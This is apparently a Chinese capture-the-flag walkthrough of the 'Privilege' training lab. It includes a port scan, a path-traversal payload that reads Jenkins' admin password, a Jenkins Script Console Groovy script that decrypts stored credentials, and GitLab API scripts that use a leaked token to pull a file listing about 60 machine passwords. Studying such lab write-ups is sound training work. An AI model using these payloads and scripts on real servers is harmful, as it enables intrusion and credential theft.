Privilege-春秋云镜
39.99.251.237
外网
fscan
./fscan_2.2.0_linux_x64 -h 39.99.251.237
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan 2.2.0 (bf036fd 2026-07-10T05:57:56Z)
[*] 服务插件: ldap, rmi, mssql, mqtt, vnc ... 等36个
[*] 参数自适应: Timeout=1000ms, ModuleThread=8, Retry=1, ICMPRate=0.10, PocNum=8
[*] 39.99.251.237:3306 mysql [Product:MySQL] Banner:(E j Host '119.29.21.84' is not allowed to connect to this MySQL server)
[-] 39.99.251.237:3306 mysql 未发现弱密码
[*] http://39.99.251.237:139 http [Product:Open Lighting Architecture daemon]
[-] 插件扫描错误 39.99.251.237:139 - 读取SMB Session Setup响应失败: EOF
[-] 插件扫描错误 39.99.251.237:139 - SMB协议探测失败: 读取SMBv2协商响应失败: 消息长度过大: 2197815297
[-] 插件扫描错误 39.99.251.237:139 - Get "http://39.99.251.237:139": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x83\x00\x00\x01\x8f"
[*] 39.99.251.237:445 microsoft-ds [Product:Microsoft Windows SMB2] Banner:(SMB@ A , k 7cG F b n g 2 * `( + 0 0 + 7 + 7)
[-] 插件扫描错误 39.99.251.237:445 - 目标可能不支持SMBv1
[+] SMBInfo 39.99.251.237:445 [Windows 10 (Build 17763)] XR-JENKINS SMBv2
[*] https://39.99.251.237:3389 ssl Banner:(; M j F ` d +M R) _i 1 <' *n G `Zx@En >t` 3 / 0 0 H07 )7 O7 b0 * H 0 1 0 U XR-JE...)
[+] RDP 39.99.251.237:3389 [OS:Windows Server 2019, Version 1809/Windows 10, Version 1809, Build:Windows 10.0.17763, Hostname:XR-JENKINS, DNSDomain:WORKGROUP, FQDN:XR-JENKINS, NetBIOSDomain:WORKGROUP]
[-] 插件扫描错误 39.99.251.237:3389 - Get "https://39.99.251.237:3389": remote error: tls: internal error
[*] http://39.99.251.237:8080 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 403 Forbidden Date: Sat, 22 Aug 2026 06:49:42 GMT X-Content-Type-Option...)
[*] POC加载完成: 总共387个，成功387个，失败0个
[+] http://39.99.251.237:8080 code:403 len:548 title:None server:Jetty(10.0.12) [jenkins jetty]
[-] 39.99.251.237:445 smb 未发现弱密码
[*] 39.99.251.237:135 msrpc [Product:Microsoft Windows RPC] Banner:(@)
[+] NetInfo 39.99.251.237:135 [XR-JENKINS]
[+] NetInfo 39.99.251.237:135 -> 172.22.14.7
[*] http://39.99.251.237 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 404 Not Found Date: Sat, 22 Aug 2026 06:49:52 GMT Server: Apache/2.4.39...)
端口扫描中（240线程） ● 100.0% [==============================] (133/133) 8/s TCP:75/180
[完成] 扫描完成: 133/133 (耗时: 15.8s)
[*] 扫描完成，发现 7 个开放端口
[+] http://39.99.251.237 code:200 len:54822 title:XR SHOP server:Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 [apache-http ipeakcms webp_server_go wordpress apache/2.4.39 php/7.4.3 openssl/1.1.1b]
[-] 插件扫描错误 39.99.251.237:3389 - context deadline exceeded
[*] 扫描任务完成，耗时 3m0.369s，已扫描 18 个目标
[-] 错误: context deadline exceeded
8080端口：
漏扫扫到一个文件读取
可以去读取密码文件拿到后台账密
最常见的路径是：
Linux/macOS/Docker 环境： /var/lib/jenkins/secrets/initialAdminPassword
Windows 环境： C:\Program Files\Jenkins\secrets\initialAdminPassword
复现一下，没成功
80端口的admin目录
目录扫描发现源码
http://39.99.251.237/www.zip
得到源码
拿到之后才发现题目有提示
www源码拿下来进行审计
有一个文件上传点，但是需要一个低权限账户，还有一个任意文件读取，在之前的8080中有一个Jenkins，并且题目表述里面也写到了要去读取密码，所以我们利用任意文件读取，文件位置是：C:\ProgramData\Jenkins\.jenkins
文件位置：tools/content-log.php
http://39.99.235.26/tools/content-log.php?logfile=C:\Windows\System32\drivers\etc\hosts
密码：
http://39.99.235.26/tools/content-log.php?logfile=../../../../../../../../../ProgramData/Jenkins/.jenkins/secrets/initialAdminPassword
账密应该就是：
admin/510235cf43f14e83b88a9f144199655b
转头一想，其实都可以直接读取flag了，试试
http://39.99.235.26/tools/content-log.php?logfile=../../../../../../../../../Users/Administrator/flag/flag01.txt
flag01: flag{49470814-934a-441e-809e-c6fc7dd5cb66}
后台
一些配置目录
9eca4a05-e058-4810-b952-bd6443e6d9a8
来到script下面运行下面脚本：
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.common.*
import hudson.util.Secret
import java.lang.reflect.Field
def creds = CredentialsProvider.lookupCredentials(
StandardCredentials.class,
Jenkins.instance,
null,
null
)
println "=== 找到 ${creds.size()} 个凭证 ===\n"
creds.each { c ->
// 打印基本信息
println "----------------------------------------"
println "ID: ${c.id}"
println "类: ${c.class.name}"
println "描述: ${c.description ?: '无'}"
// 通用方法：尝试通过反射获取 secret 字段
def secretValue = null
try {
// 尝试常见字段名
def fieldNames = ['secret', 'token', 'password', 'apiToken', 'api_token']
for (name in fieldNames) {
try {
def field = c.class.getDeclaredField(name)
field.setAccessible(true)
def value = field.get(c)
if (value instanceof Secret) {
secretValue = value.getPlainText()
println "字段 '${name}' (Secret): ${secretValue}"
break
} else if (value instanceof String) {
secretValue = value
println "字段 '${name}' (String): ${secretValue}"
break
}
} catch (NoSuchFieldException e) {
// 继续尝试下一个字段名
}
}
// 如果没有找到，尝试遍历所有字段
if (secretValue == null) {
def allFields = c.class.getDeclaredFields()
for (field in allFields) {
field.setAccessible(true)
def value = field.get(c)
if (value instanceof Secret) {
secretValue = value.getPlainText()
println "字段 '${field.name}' (Secret): ${secretValue}"
break
} else if (value instanceof String && field.name.toLowerCase().contains('secret')) {
secretValue = value
println "字段 '${field.name}' (String): ${secretValue}"
break
}
}
}
// 如果还没找到，检查是不是 UsernamePasswordCredentials
if (c instanceof UsernamePasswordCredentials) {
println "用户名: ${c.username}"
println "密码: ${c.password?.getPlainText() ?: '无法获取'}"
secretValue = c.password?.getPlainText()
}
if (secretValue == null) {
println "⚠ 未能提取明文 secret，可能不是简单凭证类型"
}
} catch (Exception e) {
println "⚠ 提取失败: ${e.message}"
}
}
println "\n=== 重点关注 ID 为 9eca4a05-e058-4810-b952-bd6443e6d9a8 的凭证 ==="
这是一个Jenkins凭证提取脚本，用于在已攻陷的 Jenkins 实例中，通过 Script Console 执行 Groovy 代码，枚举并解密所有存储的凭证（密码、API Token、SSH密钥等），最终获取明文密码
| 前提 | 说明 |
|---|---|
| 已获得 Jenkins 管理员权限 | 通常是进入了 Jenkins 后台，或通过 RCE 获得 jenkins 用户权限 |
| 具备 Script Console 访问权限 | 需要能访问 /manage/script 页面（通常仅管理员可见） |
=== 找到 1 个凭证 ===
----------------------------------------
ID: 9eca4a05-e058-4810-b952-bd6443e6d9a8
类: com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl
描述: 无
字段 'apiToken' (Secret): glpat-7kD_qLH2PiQv_ywB9hz2
=== 重点关注 ID 为 9eca4a05-e058-4810-b952-bd6443e6d9a8 的凭证 ===
然后又在这里找到个这个
我就在想这个是不是仓库
http://gitlab.xiaorang.lab
列出所有项目
curl --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2" "http://gitlab.xiaorang.lab/api/v4/projects?per_page=100"
解析不到，去靶机页面的/script
运行：
import groovy.json.JsonSlurper
def token = "glpat-7kD_qLH2PiQv_ywB9hz2"
def gitlabUrl = "http://gitlab.xiaorang.lab/api/v4/projects?per_page=100"
def conn = new URL(gitlabUrl).openConnection()
conn.setRequestProperty("PRIVATE-TOKEN", token)
conn.connect()
def response = conn.content.text
println "响应状态码: ${conn.responseCode}"
println "=== 项目列表 ==="
def projects = new JsonSlurper().parseText(response)
projects.each { p ->
println "ID: ${p.id}, 名称: ${p.name}, 路径: ${p.path_with_namespace}"
}
用于通过 GitLab API 枚举项目列表的 Groovy 脚本。它的核心作用是：利用泄露的 GitLab 私有令牌（Personal Access Token）调用 API，快速列出该用户有权访问的所有代码仓库，从而进一步挖掘源码中的敏感信息（如硬编码密码、CI/CD 配置等）
响应状态码: 200
=== 项目列表 ===
ID: 6, 名称: Internal Secret, 路径: xrlab/internal-secret
ID: 4, 名称: XRAdmin, 路径: xrlab/xradmin
ID: 3, 名称: Awenode, 路径: xrlab/awenode
ID: 2, 名称: XRWiki, 路径: xrlab/xrwiki
ID: 1, 名称: Monitoring, 路径: gitlab-instance-23352f48/Monitoring
Result: [{_links={cluster_agents= http://gitlab.xiaorang.lab/api/v4/projects/6/cluster_agents , events= http://gitlab.xiaorang.lab/api/v4/projects/6/events , issues= http://gitlab.xiaorang.lab/api/v4/projects/6/issues , labels= http://gitlab.xiaorang.lab/api/v4/projects/6/labels , members= http://gitlab.xiaorang.lab/api/v4/projects/6/members , merge_requests= http://gitlab.xiaorang.lab/api/v4/projects/6/merge_requests , repo_branches= http://gitlab.xiaorang.lab/api/v4/projects/6/repository/branches , self=http://gitlab.xiaorang.lab/api/v4/projects/6}, allow_merge_on_skipped_pipeline=null, analytics_access_level=enabled, archived=false, auto_cancel_pending_pipelines=enabled, auto_devops_deploy_strategy=continuous, auto_devops_enabled=true, autoclose_referenced_issues=true, avatar_url=null, build_timeout=3600, builds_access_level=enabled, can_create_merge_request_in=true, ci_allow_fork_pipelines_to_run_in_parent_project=true, ci_config_path=null, ci_default_git_depth=20, ci_forward_deployment_enabled=true, ci_job_token_scope_enabled=false, ci_opt_in_jwt=false, ci_separated_caches=true, container_expiration_policy={cadence=1d, enabled=false, keep_n=10, name_regex=.*, name_regex_keep=null, next_run_at=2022-12-26T08:30:12.373Z, older_than=90d}, container_registry_access_level=enabled, container_registry_enabled=true, created_at=2022-12-25T08:30:12.362Z, creator_id=2, default_branch=main, description=null, emails_disabled=null, empty_repo=false, enforce_auth_checks_on_uploads=true, environments_access_level=enabled, feature_flags_access_level=enabled, forking_access_level=enabled, forks_count=0, http_url_to_repo= http://gitlab.xiaorang.lab/xrlab/internal-secret.git , id=6, import_status=none, import_type=null, import_url=null, infrastructure_access_level=enabled, issue_branch_template=null, issues_access_level=enabled, issues_enabled=true, jobs_enabled=true, keep_latest_artifact=true, last_activity_at=2022-12-25T08:30:12.362Z, lfs_enabled=true, merge_commit_template=null, merge_method=merge, merge_requests_access_level=enabled, merge_requests_enabled=true, monitor_access_level=enabled, name=Internal Secret, name_with_namespace=XRLAB / Internal Secret, namespace={avatar_url=null, full_path=xrlab, id=8, kind=group, name=XRLAB, parent_id=null, path=xrlab, web_url=http://gitlab.xiaorang.lab/groups/xrlab}, only_allow_merge_if_all_discussions_are_resolved=false, only_allow_merge_if_pipeline_succeeds=false, open_issues_count=0, operations_access_level=enabled, packages_enabled=true, pages_access_level=private, path=internal-secret, path_with_namespace=xrlab/internal-secret, permissions={group_access={access_level=50, notification_level=3}, project_access=null}, printing_merge_request_link_enabled=true, public_jobs=true, readme_url=null, releases_access_level=enabled, remove_source_branch_after_merge=true, repository_access_level=enabled, request_access_enabled=true, resolve_outdated_diff_discussions=false, restrict_user_defined_variables=false, runner_token_expiration_interval=null, security_and_compliance_access_level=private, service_desk_address=null, service_desk_enabled=false, shared_runners_enabled=true, shared_with_groups=[], snippets_access_level=enabled, snippets_enabled=true, squash_commit_template=null, squash_option=default_off, ssh_url_to_repo=git@gitlab.xiaorang.lab:xrlab/internal-secret.git, star_count=0, suggestion_commit_message=null, tag_list=[], topics=[], visibility=private, web_url= http://gitlab.xiaorang.lab/xrlab/internal-secret , wiki_access_level=enabled, wiki_enabled=true}, {_links={cluster_agents= http://gitlab.xiaorang.lab/api/v4/projects/4/cluster_agents , events= http://gitlab.xiaorang.lab/api/v4/projects/4/events , issues= http://gitlab.xiaorang.lab/api/v4/projects/4/issues , labels= http://gitlab.xiaorang.lab/api/v4/projects/4/labels , members= http://gitlab.xiaorang.lab/api/v4/projects/4/members , merge_requests= http://gitlab.xiaorang.lab/api/v4/projects/4/merge_requests , repo_branches= http://gitlab.xiaorang.lab/api/v4/projects/4/repository/branches , self=http://gitlab.xiaorang.lab/api/v4/projects/4}, allow_merge_on_skipped_pipeline=null, analytics_access_level=enabled, archived=false, auto_cancel_pending_pipelines=enabled, auto_devops_deploy_strategy=continuous, auto_devops_enabled=false, autoclose_referenced_issues=true, avatar_url=null, build_timeout=3600, builds_access_level=enabled, can_create_merge_request_in=true, ci_allow_fork_pipelines_to_run_in_parent_project=true, ci_config_path=null, ci_default_git_depth=20, ci_forward_deployment_enabled=true, ci_job_token_scope_enabled=false, ci_opt_in_jwt=false, ci_separated_caches=true, container_expiration_policy={cadence=1d, enabled=false, keep_n=10, name_regex=.*, name_regex_keep=null, next_run_at=2022-12-26T07:48:16.788Z, older_than=90d}, container_registry_access_level=enabled, container_registry_enabled=true, created_at=2022-12-25T07:48:16.751Z, creator_id=2, default_branch=main, description=null, emails_disabled=null, empty_repo=false, enforce_auth_checks_on_uploads=true, environments_access_level=enabled, feature_flags_access_level=enabled, forking_access_level=enabled, forks_count=0, http_url_to_repo= http://gitlab.xiaorang.lab/xrlab/xradmin.git , id=4, import_status=none, import_type=null, import_url=null, infrastructure_access_level=enabled, issue_branch_template=null, issues_access_level=enabled, issues_enabled=true, jobs_enabled=true, keep_latest_artifact=true, last_activity_at=2023-05-30T10:27:31.762Z, lfs_enabled=true, merge_commit_template=null, merge_method=merge, merge_requests_access_level=enabled, merge_requests_enabled=true, monitor_access_level=enabled, name=XRAdmin, name_with_namespace=XRLAB / XRAdmin, namespace={avatar_url=null, full_path=xrlab, id=8, kind=group, name=XRLAB, parent_id=null, path=xrlab, web_url=http://gitlab.xiaorang.lab/groups/xrlab}, only_allow_merge_if_all_discussions_are_resolved=false, only_allow_merge_if_pipeline_succeeds=false, open_issues_count=0, operations_access_level=enabled, packages_enabled=true, pages_access_level=private, path=xradmin, path_with_namespace=xrlab/xradmin, permissions={group_access={access_level=50, notification_level=3}, project_access=null}, printing_merge_request_link_enabled=true, public_jobs=true, readme_url= http://gitlab.xiaorang.lab/xrlab/xradmin/-/blob/main/README.md , releases_access_level=enabled, remove_source_branch_after_merge=true, repository_access_level=enabled, request_access_enabled=true, resolve_outdated_diff_discussions=false, restrict_user_defined_variables=false, runner_token_expiration_interval=null, security_and_compliance_access_level=private, service_desk_address=null, service_desk_enabled=false, shared_runners_enabled=true, shared_with_groups=[], snippets_access_level=enabled, snippets_enabled=true, squash_commit_template=null, squash_option=default_off, ssh_url_to_repo=git@gitlab.xiaorang.lab:xrlab/xradmin.git, star_count=0, suggestion_commit_message=null, tag_list=[], topics=[], visibility=private, web_url= http://gitlab.xiaorang.lab/xrlab/xradmin , wiki_access_level=enabled, wiki_enabled=true}, {_links={cluster_agents= http://gitlab.xiaorang.lab/api/v4/projects/3/cluster_agents , events= http://gitlab.xiaorang.lab/api/v4/projects/3/events , issues= http://gitlab.xiaorang.lab/api/v4/projects/3/issues , labels= http://gitlab.xiaorang.lab/api/v4/projects/3/labels , members= http://gitlab.xiaorang.lab/api/v4/projects/3/members , merge_requests= http://gitlab.xiaorang.lab/api/v4/projects/3/merge_requests , repo_branches= http://gitlab.xiaorang.lab/api/v4/projects/3/repository/branches , self=http://gitlab.xiaorang.lab/api/v4/projects/3}, allow_merge_on_skipped_pipeline=null, analytics_access_level=enabled, archived=false, auto_cancel_pending_pipelines=enabled, auto_devops_deploy_strategy=continuous, auto_devops_enabled=true, autoclose_referenced_issues=true, avatar_url=null, build_timeout=3600, builds_access_level=enabled, can_create_merge_request_in=true, ci_allow_fork_pipelines_to_run_in_parent_project=true, ci_config_path=null, ci_default_git_depth=20, ci_forward_deployment_enabled=true, ci_job_token_scope_enabled=false, ci_opt_in_jwt=false, ci_separated_caches=true, container_expiration_policy={cadence=1d, enabled=false, keep_n=10, name_regex=.*, name_regex_keep=null, next_run_at=2022-12-26T07:46:44.614Z, older_than=90d}, container_registry_access_level=enabled, container_registry_enabled=true, created_at=2022-12-25T07:46:43.635Z, creator_id=2, default_branch=master, description=null, emails_disabled=null, empty_repo=false, enforce_auth_checks_on_uploads=true, environments_access_level=enabled, feature_flags_access_level=enabled, forking_access_level=enabled, forks_count=0, http_url_to_repo= http://gitlab.xiaorang.lab/xrlab/awenode.git , id=3, import_status=finished, import_type=gitlab_project, import_url=null, infrastructure_access_level=enabled, issue_branch_template=null, issues_access_level=enabled, issues_enabled=true, jobs_enabled=true, keep_latest_artifact=true, last_activity_at=2022-12-25T07:46:43.635Z, lfs_enabled=true, merge_commit_template=null, merge_method=merge, merge_requests_access_level=enabled, merge_requests_enabled=true, monitor_access_level=enabled, name=Awenode, name_with_namespace=XRLAB / Awenode, namespace={avatar_url=null, full_path=xrlab, id=8, kind=group, name=XRLAB, parent_id=null, path=xrlab, web_url=http://gitlab.xiaorang.lab/groups/xrlab}, only_allow_merge_if_all_discussions_are_resolved=false, only_allow_merge_if_pipeline_succeeds=false, open_issues_count=0, operations_access_level=enabled, packages_enabled=true, pages_access_level=private, path=awenode, path_with_namespace=xrlab/awenode, permissions={group_access={access_level=50, notification_level=3}, project_access={access_level=40, notification_level=null}}, printing_merge_request_link_enabled=true, public_jobs=true, readme_url= http://gitlab.xiaorang.lab/xrlab/awenode/-/blob/master/README.md , releases_access_level=enabled, remove_source_branch_after_merge=true, repository_access_level=enabled, request_access_enabled=true, resolve_outdated_diff_discussions=false, restrict_user_defined_variables=false, runner_token_expiration_interval=null, security_and_compliance_access_level=private, service_desk_address=null, service_desk_enabled=false, shared_runners_enabled=true, shared_with_groups=[], snippets_access_level=enabled, snippets_enabled=true, squash_commit_template=null, squash_option=default_off, ssh_url_to_repo=git@gitlab.xiaorang.lab:xrlab/awenode.git, star_count=0, suggestion_commit_message=null, tag_list=[], topics=[], visibility=private, web_url= http://gitlab.xiaorang.lab/xrlab/awenode , wiki_access_level=enabled, wiki_enabled=true}, {_links={cluster_agents= http://gitlab.xiaorang.lab/api/v4/projects/2/cluster_agents , events= http://gitlab.xiaorang.lab/api/v4/projects/2/events , issues= http://gitlab.xiaorang.lab/api/v4/projects/2/issues , labels= http://gitlab.xiaorang.lab/api/v4/projects/2/labels , members= http://gitlab.xiaorang.lab/api/v4/projects/2/members , merge_requests= http://gitlab.xiaorang.lab/api/v4/projects/2/merge_requests , repo_branches= http://gitlab.xiaorang.lab/api/v4/projects/2/repository/branches , self=http://gitlab.xiaorang.lab/api/v4/projects/2}, allow_merge_on_skipped_pipeline=null, analytics_access_level=enabled, archived=false, auto_cancel_pending_pipelines=enabled, auto_devops_deploy_strategy=continuous, auto_devops_enabled=true, autoclose_referenced_issues=true, avatar_url= http://gitlab.xiaorang.lab/uploads/-/system/project/avatar/2/gitbook.png , build_timeout=3600, builds_access_level=enabled, can_create_merge_request_in=true, ci_allow_fork_pipelines_to_run_in_parent_project=true, ci_config_path=null, ci_default_git_depth=20, ci_forward_deployment_enabled=true, ci_job_token_scope_enabled=false, ci_opt_in_jwt=false, ci_separated_caches=true, container_expiration_policy={cadence=1d, enabled=false, keep_n=10, name_regex=.*, name_regex_keep=null, next_run_at=2022-12-26T07:44:18.627Z, older_than=90d}, container_registry_access_level=disabled, container_registry_enabled=false, created_at=2022-12-25T07:44:18.589Z, creator_id=2, default_branch=master, description=Example GitBook site using GitLab Pages: https://pages.gitlab.io/gitbook , emails_disabled=null, empty_repo=false, enforce_auth_checks_on_uploads=true, environments_access_level=enabled, feature_flags_access_level=enabled, forking_access_level=enabled, forks_count=0, http_url_to_repo= http://gitlab.xiaorang.lab/xrlab/xrwiki.git , id=2, import_status=finished, import_type=gitlab_project, import_url=null, infrastructure_access_level=enabled, issue_branch_template=null, issues_access_level=enabled, issues_enabled=true, jobs_enabled=true, keep_latest_artifact=true, last_activity_at=2022-12-25T07:44:18.589Z, lfs_enabled=true, merge_commit_template=null, merge_method=merge, merge_requests_access_level=enabled, merge_requests_enabled=true, monitor_access_level=enabled, name=XRWiki, name_with_namespace=XRLAB / XRWiki, namespace={avatar_url=null, full_path=xrlab, id=8, kind=group, name=XRLAB, parent_id=null, path=xrlab, web_url=http://gitlab.xiaorang.lab/groups/xrlab}, only_allow_merge_if_all_discussions_are_resolved=false, only_allow_merge_if_pipeline_succeeds=false, open_issues_count=0, operations_access_level=enabled, packages_enabled=true, pages_access_level=public, path=xrwiki, path_with_namespace=xrlab/xrwiki, permissions={group_access={access_level=50, notification_level=3}, project_access={access_level=40, notification_level=null}}, printing_merge_request_link_enabled=true, public_jobs=true, readme_url= http://gitlab.xiaorang.lab/xrlab/xrwiki/-/blob/master/README.md , releases_access_level=enabled, remove_source_branch_after_merge=true, repository_access_level=enabled, request_access_enabled=false, resolve_outdated_diff_discussions=null, restrict_user_defined_variables=false, runner_token_expiration_interval=null, security_and_compliance_access_level=private, service_desk_address=null, service_desk_enabled=false, shared_runners_enabled=true, shared_with_groups=[], snippets_access_level=disabled, snippets_enabled=false, squash_commit_template=null, squash_option=default_off, ssh_url_to_repo=git@gitlab.xiaorang.lab:xrlab/xrwiki.git, star_count=0, suggestion_commit_message=null, tag_list=[], topics=[], visibility=private, web_url= http://gitlab.xiaorang.lab/xrlab/xrwiki , wiki_access_level=disabled, wiki_enabled=false}, {_links={cluster_agents= http://gitlab.xiaorang.lab/api/v4/projects/1/cluster_agents , events= http://gitlab.xiaorang.lab/api/v4/projects/1/events , issues= http://gitlab.xiaorang.lab/api/v4/projects/1/issues , labels= http://gitlab.xiaorang.lab/api/v4/projects/1/labels , members= http://gitlab.xiaorang.lab/api/v4/projects/1/members , merge_requests= http://gitlab.xiaorang.lab/api/v4/projects/1/merge_requests , repo_branches= http://gitlab.xiaorang.lab/api/v4/projects/1/repository/branches , self=http://gitlab.xiaorang.lab/api/v4/projects/1}, allow_merge_on_skipped_pipeline=null, analytics_access_level=enabled, archived=false, auto_cancel_pending_pipelines=enabled, auto_devops_deploy_strategy=continuous, auto_devops_enabled=true, autoclose_referenced_issues=true, avatar_url=null, build_timeout=3600, builds_access_level=enabled, can_create_merge_request_in=true, ci_allow_fork_pipelines_to_run_in_parent_project=true, ci_config_path=null, ci_default_git_depth=20, ci_forward_deployment_enabled=true, ci_job_token_scope_enabled=false, ci_opt_in_jwt=false, ci_separated_caches=true, container_expiration_policy={cadence=1d, enabled=false, keep_n=10, name_regex=.*, name_regex_keep=null, next_run_at=2022-12-26T07:18:21.108Z, older_than=90d}, container_registry_access_level=enabled, container_registry_enabled=true, created_at=2022-12-25T07:18:20.914Z, creator_id=1, default_branch=main, description=This project is automatically generated and helps monitor this GitLab instance. [Learn more](/help/administration/monitoring/gitlab_self_monitoring_project/index)., emails_disabled=null, empty_repo=true, enforce_auth_checks_on_uploads=true, environments_access_level=enabled, feature_flags_access_level=enabled, forking_access_level=enabled, forks_count=0, http_url_to_repo= http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring.git , id=1, import_status=none, infrastructure_access_level=enabled, issue_branch_template=null, issues_access_level=enabled, issues_enabled=true, jobs_enabled=true, keep_latest_artifact=true, last_activity_at=2022-12-25T07:18:20.914Z, lfs_enabled=true, merge_commit_template=null, merge_method=merge, merge_requests_access_level=enabled, merge_requests_enabled=true, monitor_access_level=enabled, name=Monitoring, name_with_namespace=GitLab Instance / Monitoring, namespace={avatar_url=null, full_path=gitlab-instance-23352f48, id=2, kind=group, name=GitLab Instance, parent_id=null, path=gitlab-instance-23352f48, web_url=http://gitlab.xiaorang.lab/groups/gitlab-instance-23352f48}, only_allow_merge_if_all_discussions_are_resolved=false, only_allow_merge_if_pipeline_succeeds=false, open_issues_count=0, operations_access_level=enabled, packages_enabled=true, pages_access_level=private, path=Monitoring, path_with_namespace=gitlab-instance-23352f48/Monitoring, permissions={group_access=null, project_access=null}, printing_merge_request_link_enabled=true, public_jobs=true, readme_url=null, releases_access_level=enabled, remove_source_branch_after_merge=true, repository_access_level=enabled, request_access_enabled=true, resolve_outdated_diff_discussions=false, restrict_user_defined_variables=false, runner_token_expiration_interval=null, security_and_compliance_access_level=private, service_desk_enabled=false, shared_runners_enabled=true, shared_with_groups=[], snippets_access_level=enabled, snippets_enabled=true, squash_commit_template=null, squash_option=default_off, ssh_url_to_repo=git@gitlab.xiaorang.lab:gitlab-instance-23352f48/Monitoring.git, star_count=0, suggestion_commit_message=null, tag_list=[], topics=[], visibility=internal, web_url= http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring , wiki_access_level=enabled, wiki_enabled=true}]
Internal Secret (ID: 6)
ID: 6, 名称: Internal Secret, 路径: xrlab/internal-secret
这个仓库名直接就是 "Internal Secret"，明显就是我们要找的敏感仓库。查看 internal-secret 仓库的内容
现在用 Jenkins 脚本控制台来列出这个仓库根目录的文件：
import groovy.json.JsonSlurper
def token = "glpat-7kD_qLH2PiQv_ywB9hz2"
def projectId = 6
def gitlabUrl = "http://gitlab.xiaorang.lab/api/v4/projects/${projectId}/repository/tree?ref=main&per_page=100"
def conn = new URL(gitlabUrl).openConnection()
conn.setRequestProperty("PRIVATE-TOKEN", token)
conn.connect()
def response = conn.content.text
println "响应状态码: ${conn.responseCode}"
println "=== 文件列表 ==="
def files = new JsonSlurper().parseText(response)
files.each { f ->
println("类型: ${f.type}, 名称: ${f.name}, 路径: ${f.path}")
}
通过 GitLab API 枚举指定项目仓库文件/目录树的 Groovy 脚本。它的核心作用是：利用泄露的私有令牌，查看某个特定 Git 项目中 main 分支的文件结构，从而快速定位可能包含敏感信息的文件（如 config.yml、.env、secrets.properties 等），为后续拉取和分析做准备
返回
响应状态码: 200
=== 文件列表 ===
类型: blob, 名称: credentials.txt, 路径: credentials.txt
Result: [{id=fec38069bee81dbfb4dba3b5d9b62f26b07bf42f, mode=100644, name=credentials.txt, path=credentials.txt, type=blob}]
读取credentials.txt
import groovy.json.JsonSlurper
def token = "glpat-7kD_qLH2PiQv_ywB9hz2"
def projectId = 6
def filePath = "credentials.txt"
def encodedPath = URLEncoder.encode(filePath, "UTF-8")
def gitlabUrl = "http://gitlab.xiaorang.lab/api/v4/projects/${projectId}/repository/files/${encodedPath}/raw?ref=main"
def conn = new URL(gitlabUrl).openConnection()
conn.setRequestProperty("PRIVATE-TOKEN", token)
conn.connect()
println "响应状态码: ${conn.responseCode}"
println "=== credentials.txt 内容 ==="
println conn.content.text
通过 GitLab API 获取指定项目中的特定文件的原始内容的 Groovy 脚本。它的核心作用是：利用私有令牌，直接读取仓库中某个文件（如 credentials.txt、.env、config.yml）的完整内容，是信息收集的关键步骤
得到：
响应状态码: 200
=== credentials.txt 内容 ===
Machine | Username | Password
-----------------------------
XR-0776 | huangmin | 8I5VZpg4Mf
XR-0777 | zhangrong | cHY716Zauf
XR-0778 | liying | JKe5IFEasb
XR-0779 | zhaoli | bYaT8pnoQ7
XR-0780 | zhangyan | EyHJTxY5LA
XR-0781 | zhoujing | 7AJXxfY9Oi
XR-0782 | liuying | 3Q29kxupsU
XR-0783 | wanghao | APQ5Sxvd0n
XR-0784 | wangqiang | WebaBkv4lh
XR-0785 | wanglu | 5CtYa9XmZW
XR-0786 | zhaoyong | FbquAxEwJf
XR-0787 | zhangli | pCuPEbYl8B
XR-0788 | wangning | JL6By9mUDP
XR-0789 | wangyu | WVIrHMljRh
XR-0790 | yangli | hNuHLKxU6m
XR-0791 | zhangqian | e7RSK4wnLV
XR-0792 | lishuai | ymjieu5FzP
XR-0793 | yangliu | QXfZmcSV97
XR-0794 | wangying | 51Je2P8iFB
XR-0795 | chenjie | jFGv3tKSp9
XR-0796 | yangyong | wafYnDCJxv
XR-0797 | lipeng | YCo0bBQrNJ
XR-0798 | lixin | pT1DUgbflC
XR-0799 | liukai | EgywVJW2Un
XR-0800 | machao | H1XqljRYgD
XR-0801 | lijia | vxjUbe1K7V
XR-0802 | zhangping | lPq6LmHh8x
XR-0803 | zhanghui | Z4mjpzt281
XR-0804 | zhangwen | hT0wp2xKdJ
XR-0805 | wangmin | 6ykzR2AuKh
XR-0806 | chenlin | QPEFJ7c8io
XR-0807 | chenjuan | kAsC9UvBfP
XR-0808 | lining | 4QgT65dbMz
XR-0809 | wangwei | MZ3ehq8Gd0
XR-0810 | zhangnan | 1uXL5jvblq
XR-0811 | wangxia | K04W23mUXx
XR-0812 | zhangyu | CiycwuGxHE
XR-0813 | chenchen | q5GPSZv2rB
XR-0814 | wangbing | tHgvbCRj5F
XR-0815 | lilin | bTrGF97RMJ
XR-0816 | zhangling | T5HfUYwh8n
XR-0817 | chenling | 2MH0sXUvnN
XR-0818 | yangmei | jJ4iKS6WMN
XR-0819 | liuqiang | LRptNZWUAh
XR-0820 | lihong | TXbnO76oNg
XR-0821 | lilei | qvaN1rK0AY
XR-0822 | wanghuan | X3iFcTyOmv
XR-0823 | wangxin | ADSMd4l5w8
XR-0824 | yangping | QRiej9HcTK
XR-0825 | lijie | Az9OG4ibCH
XR-0826 | wangqian | PB9KAtTjWC
XR-0827 | liping | R8qFTAQV63
XR-0828 | liuhui | YOzAaNq8Io
XR-0829 | zhangming | 4p08EcFzsm
XR-0830 | zhangying | MHPwUoQImi
XR-0831 | libo | E23ztI9LUe
XR-0832 | liuqin | bsmrRkLoqT
XR-0833 | wangchao | ACz5Q73oUa
XR-0834 | liuli | x2XuZsIJtm
XR-0835 | yangwei | wKYHlDXkmq
XR-0836 | wangyan | yg1HXxWu2s
XR-0837 | wangjian | zUo7vHb8OY
XR-0838 | zhangbin | r8m01CcS4f
